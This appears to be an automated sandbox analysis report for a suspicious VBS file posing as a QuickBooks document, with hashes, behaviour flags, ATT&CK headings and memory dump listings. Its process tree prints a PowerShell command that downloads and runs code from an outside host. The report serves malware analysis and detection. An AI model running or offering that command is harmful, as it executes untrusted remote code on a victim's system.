885eae8e4d2788a7c54f4123cbf84b4e897082f8388a7b3f3c2bace9f9419e13

Analysis

max time kernel
122s
max time network
123s
platform
windows7_x64
resource
win7-20240221-en
resource tags

arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
submitted
02-04-2024 16:08

Target

quickbook_April-2024.vbs
Size

7KB
MD5

4ff404ceede30c0ca73b97e26f20dfa8
SHA1

5b2644004b27a4b39502ad0d4a0193d0124588cb
SHA256

885eae8e4d2788a7c54f4123cbf84b4e897082f8388a7b3f3c2bace9f9419e13
SHA512

4f8fbfb0dea83b81fcaff17cd4fea7cf888a99b186908f58b4b2d599b4a4f3df9bd9a8fadec7b25de5dea4dfaf416dca09ce6ce76a542ad32f0a96febe836ae1
SSDEEP

192:YMg119gkCtL3IqSPN3QzGNzUoNJnN/Y999E6:jy19gR3IquNgzG2oNla

Score

3^/10

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2884	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2884	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 2436 wrote to memory of 2884	2436	WScript.exe	28
PID 2436 wrote to memory of 2884	2436	WScript.exe	28
PID 2436 wrote to memory of 2884	2436	WScript.exe	28

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\quickbook_April-2024.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:2436
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Invoke-Expression (Invoke-RestMethod -Uri '31yc.com/gcwkaqrq')
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2884

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

memory/2884-4-0x000000001B5F0000-0x000000001B8D2000-memory.dmp

Filesize
2.9MB

Download
memory/2884-5-0x00000000022D0000-0x00000000022D8000-memory.dmp

Filesize
32KB

Download
memory/2884-6-0x000007FEF5820000-0x000007FEF61BD000-memory.dmp

Filesize
9.6MB

Download
memory/2884-7-0x00000000022E0000-0x0000000002360000-memory.dmp

Filesize
512KB

Download
memory/2884-8-0x000007FEF5820000-0x000007FEF61BD000-memory.dmp

Filesize
9.6MB

Download
memory/2884-9-0x00000000022E0000-0x0000000002360000-memory.dmp

Filesize
512KB

Download
memory/2884-10-0x00000000022E0000-0x0000000002360000-memory.dmp

Filesize
512KB

Download
memory/2884-11-0x000007FEF5820000-0x000007FEF61BD000-memory.dmp

Filesize
9.6MB

Download